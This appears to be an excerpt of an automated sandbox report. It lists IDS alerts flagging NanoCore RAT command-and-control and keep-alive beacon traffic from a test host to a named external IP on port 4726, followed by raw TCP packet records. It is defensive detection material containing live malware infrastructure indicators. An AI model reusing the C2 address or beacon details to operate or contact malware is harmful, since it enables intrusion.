192.168.11.20188.127.230.1764988647262025019 08/05/22-11:40:05.214833	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49886	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764984347262025019 08/05/22-11:36:17.149109	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49843	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764985347262025019 08/05/22-11:37:11.505020	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49853	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764981347262816766 08/05/22-11:34:01.956440	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49813	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764981547262816718 08/05/22-11:34:06.548888	TCP	2816718	ETPRO TROJAN NanoCore RAT Keep-Alive Beacon	49815	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764984647262816766 08/05/22-11:36:31.923763	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49846	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764988947262816766 08/05/22-11:40:24.715388	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49889	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764983647262816766 08/05/22-11:35:37.356616	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49836	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764982347262816766 08/05/22-11:34:38.400629	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49823	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764982647262816766 08/05/22-11:34:54.600340	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49826	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764984347262816766 08/05/22-11:36:18.892748	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49843	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764981647262816766 08/05/22-11:34:14.548367	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49816	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764980947262025019 08/05/22-11:33:40.862326	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49809	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764985347262816766 08/05/22-11:37:13.273172	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49853	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764986047262025019 08/05/22-11:37:47.088928	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49860	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764988347262816766 08/05/22-11:39:49.207551	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49883	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764982947262025019 08/05/22-11:35:04.653208	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49829	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764983947262025019 08/05/22-11:35:53.420369	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49839	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764986347262816766 08/05/22-11:38:12.650833	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49863	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764981947262025019 08/05/22-11:34:18.846234	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49819	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764987047262025019 08/05/22-11:38:51.699622	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49870	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764987347262816766 08/05/22-11:39:14.558994	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49873	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764984447262816766 08/05/22-11:36:24.908622	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49844	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764985447262816766 08/05/22-11:37:19.142625	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49854	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764988047262025019 08/05/22-11:39:35.649873	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49880	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764984947262025019 08/05/22-11:36:47.934119	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49849	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764989047262025019 08/05/22-11:40:28.935779	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49890	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764983147262816766 08/05/22-11:35:19.422932	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49831	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764979947262025019 08/05/22-11:33:09.351214	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49799	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764984147262816766 08/05/22-11:36:06.959521	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49841	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764987147262816766 08/05/22-11:38:59.359089	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49871	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764982447262816766 08/05/22-11:34:44.321230	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49824	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764986147262816766 08/05/22-11:37:54.689740	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49861	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764985147262816766 08/05/22-11:37:01.439088	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49851	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764985247262025019 08/05/22-11:37:05.647447	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49852	4726	192.168.11.20	188.127.230.176
188.127.230.176192.168.11.204726498052810290 08/05/22-11:33:20.987562	TCP	2810290	ETPRO TROJAN NanoCore RAT Keepalive Response 1	4726	49805	188.127.230.176	192.168.11.20
192.168.11.20188.127.230.1764980747262025019 08/05/22-11:33:27.705061	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49807	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764988547262025019 08/05/22-11:39:59.297023	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49885	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764985747262025019 08/05/22-11:37:35.192270	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49857	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764986247262025019 08/05/22-11:38:04.980731	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49862	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764988747262816718 08/05/22-11:40:12.251822	TCP	2816718	ETPRO TROJAN NanoCore RAT Keep-Alive Beacon	49887	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764982447262025019 08/05/22-11:34:42.615251	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49824	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764986747262025019 08/05/22-11:38:33.740764	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49867	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764987247262025019 08/05/22-11:39:08.530117	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49872	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764988147262816766 08/05/22-11:39:43.302600	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49881	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764983747262025019 08/05/22-11:35:41.497992	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49837	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764989247262025019 08/05/22-11:40:40.860829	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49892	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764984747262025019 08/05/22-11:36:36.081307	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49847	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764989147262816766 08/05/22-11:40:36.556679	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49891	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764981547262025019 08/05/22-11:34:06.249675	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49815	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764982547262025019 08/05/22-11:34:48.459435	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49825	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764985447262025019 08/05/22-11:37:17.410149	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49854	4726	192.168.11.20	188.127.230.176
188.127.230.176192.168.11.204726498792810290 08/05/22-11:39:30.538129	TCP	2810290	ETPRO TROJAN NanoCore RAT Keepalive Response 1	4726	49879	188.127.230.176	192.168.11.20
192.168.11.20188.127.230.1764982047262816766 08/05/22-11:34:26.497193	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49820	4726	192.168.11.20	188.127.230.176
188.127.230.176192.168.11.204726498722841753 08/05/22-11:39:08.581261	TCP	2841753	ETPRO TROJAN NanoCore RAT Keep-Alive Beacon (Inbound)	4726	49872	188.127.230.176	192.168.11.20
192.168.11.20188.127.230.1764984447262025019 08/05/22-11:36:23.227143	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49844	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764980547262025019 08/05/22-11:33:20.270209	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49805	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764982947262816718 08/05/22-11:35:05.845352	TCP	2816718	ETPRO TROJAN NanoCore RAT Keep-Alive Beacon	49829	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764984047262816766 08/05/22-11:36:01.054518	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49840	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764983047262816766 08/05/22-11:35:13.486265	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49830	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764987047262816766 08/05/22-11:38:53.408201	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49870	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764982647262025019 08/05/22-11:34:54.491567	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49826	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764986547262025019 08/05/22-11:38:16.903783	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49865	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764980147262816766 08/05/22-11:33:15.747004	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49801	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764981647262025019 08/05/22-11:34:12.838139	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49816	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764983547262025019 08/05/22-11:35:29.695360	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49835	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764985547262025019 08/05/22-11:37:23.336134	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49855	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764981147262816766 08/05/22-11:33:48.376691	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49811	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764986047262816766 08/05/22-11:37:48.782972	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49860	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764985047262816766 08/05/22-11:36:55.558305	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49850	4726	192.168.11.20	188.127.230.176
192.168.11.20188.127.230.1764988447262025019 08/05/22-11:39:53.345440	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49884	4726	192.168.11.20	188.127.230.176

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 5, 2022 11:32:57.924397945 CEST	49791	443	192.168.11.20	142.250.179.174
Aug 5, 2022 11:32:57.924468994 CEST	443	49791	142.250.179.174	192.168.11.20
Aug 5, 2022 11:32:57.924690962 CEST	49791	443	192.168.11.20	142.250.179.174
Aug 5, 2022 11:32:57.947097063 CEST	49791	443	192.168.11.20	142.250.179.174
Aug 5, 2022 11:32:57.947154045 CEST	443	49791	142.250.179.174	192.168.11.20
Aug 5, 2022 11:32:58.010257959 CEST	443	49791	142.250.179.174	192.168.11.20
Aug 5, 2022 11:32:58.010422945 CEST	49791	443	192.168.11.20	142.250.179.174
Aug 5, 2022 11:32:58.010437012 CEST	49791	443	192.168.11.20	142.250.179.174
Aug 5, 2022 11:32:58.012332916 CEST	443	49791	142.250.179.174	192.168.11.20
Aug 5, 2022 11:32:58.012677908 CEST	49791	443	192.168.11.20	142.250.179.174
Aug 5, 2022 11:32:58.132087946 CEST	49791	443	192.168.11.20	142.250.179.174
Aug 5, 2022 11:32:58.132128000 CEST	443	49791	142.250.179.174	192.168.11.20
Aug 5, 2022 11:32:58.132890940 CEST	443	49791	142.250.179.174	192.168.11.20
Aug 5, 2022 11:32:58.133080006 CEST	49791	443	192.168.11.20	142.250.179.174
Aug 5, 2022 11:32:58.137028933 CEST	49791	443	192.168.11.20	142.250.179.174
Aug 5, 2022 11:32:58.178596973 CEST	443	49791	142.250.179.174	192.168.11.20
Aug 5, 2022 11:32:58.524626970 CEST	443	49791	142.250.179.174	192.168.11.20
Aug 5, 2022 11:32:58.524816990 CEST	443	49791	142.250.179.174	192.168.11.20
Aug 5, 2022 11:32:58.524889946 CEST	49791	443	192.168.11.20	142.250.179.174
Aug 5, 2022 11:32:58.524960995 CEST	49791	443	192.168.11.20	142.250.179.174
Aug 5, 2022 11:32:58.526408911 CEST	49791	443	192.168.11.20	142.250.179.174
Aug 5, 2022 11:32:58.526490927 CEST	443	49791	142.250.179.174	192.168.11.20
Aug 5, 2022 11:32:58.623028040 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.623101950 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.623380899 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.623682976 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.623735905 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.658561945 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.658699036 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.658746958 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.659235954 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.659442902 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.662952900 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.663081884 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.663316011 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.663646936 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.706526995 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.902692080 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.903125048 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.903147936 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.903254986 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.903289080 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.903554916 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.904272079 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.904478073 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.904881954 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.905155897 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.905174017 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.905327082 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.908139944 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.908457994 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.911192894 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.911470890 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.911494017 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.911678076 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.913008928 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.913110018 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.913242102 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.913264990 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.913360119 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.913413048 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.913496017 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.913588047 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.913746119 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.913768053 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.913839102 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.913964033 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.914242983 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.914469957 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.914494038 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.914638996 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.914671898 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.914817095 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.915133953 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.915268898 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.915287971 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.915507078 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.915529966 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.915792942 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.916122913 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.916248083 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.916269064 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.916286945 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.916491032 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.917030096 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.917176962 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.917195082 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.917407036 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.917428970 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.917618036 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.917917013 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.918026924 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.918068886 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.918087006 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.918164968 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.918304920 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.918746948 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.918895006 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.918912888 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.919145107 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.919167995 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.919378996 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.919626951 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.919770002 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.919795036 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.919997931 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.920018911 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.920186043 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.922110081 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.922271013 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.922287941 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.922302008 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.922522068 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.922601938 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.922986031 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.923217058 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.923245907 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.923388004 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.923532963 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.923685074 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.923710108 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.923845053 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.923882961 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.923901081 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.924000978 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.924026012 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.924207926 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.924231052 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.924354076 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.924396038 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.924413919 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.924556971 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.924645901 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.924670935 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.924901009 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.925086021 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.925332069 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.925344944 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.925369978 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.925523043 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.925549984 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.925709963 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.925966978 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.926143885 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.926176071 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.926341057 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.926367998 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.926559925 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.926585913 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.926753998 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.926938057 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.927107096 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.927141905 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.927313089 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.927376986 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.927402020 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.927455902 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.927555084 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.927824020 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.928026915 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.928060055 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.928200960 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.928208113 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.928230047 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.928409100 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.928597927 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.928745031 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.928777933 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.928924084 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.928951025 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.929056883 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.929131985 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.929158926 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.929212093 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.929301977 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.929476976 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.929637909 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.929672956 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.929824114 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.929850101 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.930078030 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.930108070 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.930255890 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.930361032 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.930507898 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.930550098 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.930728912 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.930737972 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.930767059 CEST	443	49792	142.250.181.225	192.168.11.20
Aug 5, 2022 11:32:58.930860043 CEST	49792	443	192.168.11.20	142.250.181.225
Aug 5, 2022 11:32:58.930881023 CEST	49792	443	192.168.11.20	142.250.181.225
